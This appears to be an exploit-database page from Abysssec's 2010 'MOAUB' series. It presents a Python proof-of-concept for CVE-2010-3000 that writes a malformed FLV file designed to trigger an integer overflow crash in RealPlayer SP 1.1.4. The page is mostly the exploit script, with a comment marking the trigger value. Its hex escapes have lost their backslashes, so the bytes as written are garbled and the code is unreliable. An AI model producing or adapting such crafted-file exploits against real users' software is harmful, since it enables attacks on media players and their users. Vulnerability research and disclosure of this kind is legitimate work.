[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MOAUB #13 - RealPlayer FLV Parsing Integer Overflow
# Published : 2010-09-13
# Author : Abysssec
# Previous Title : Webkit (Apple Safari < 4.1.2/5.0.2 & Google Chrome < 5.0.375.125) Memory Corruption
# Next Title : AA SMTP SERVER v.1.1 - Crash POC
'''
__ __ ____ _ _ ____
| / |/ __ / | | | | _
| / | | | | / | | | | |_) |
| |/| | | | |/ / | | | | _ <
| | | | |__| / ____ |__| | |_) |
|_| |_|____/_/ _____/|____/
'''
'''
Title : RealPlayer FLV Parsing Multiple Integer Overflow
Version : RealPlayer SP 1.1.4
Analysis : http://www.abysssec.com
Vendor : http://www.real.com
Impact : High
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-3000
'''
# POC for CVE-2010-3000
# http://www.exploit-db.com/moaub-13-realplayer-flv-parsing-multiple-integer-overflow/
# http://www.exploit-db.com/sploits/moaub-13-exploit.zip
import sys
def main():
flvHeader = 'x46x4Cx56x01x05x00x00x00x09'
flvBody1 = 'x00x00x00x00x12x00x00x15x00x00x00x00x00x00x00x02x00x0Ax6Fx6Ex4Dx65x74x61x44x61x74x61x08'
HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value = "x07x50x75x08" # if value >= 0x7507508 --> crash
flvBody2 = "x00x00x09x00x00x00x20"
flv = open('poc.flv', 'wb+')
flv.write(flvHeader)
flv.write(flvBody1)
flv.write(HX_FLV_META_AMF_TYPE_MIXEDARRAY_Value)
flv.write(flvBody2)
flv.close()
print '[-] FLV file generated'
if __name__ == '__main__':
main()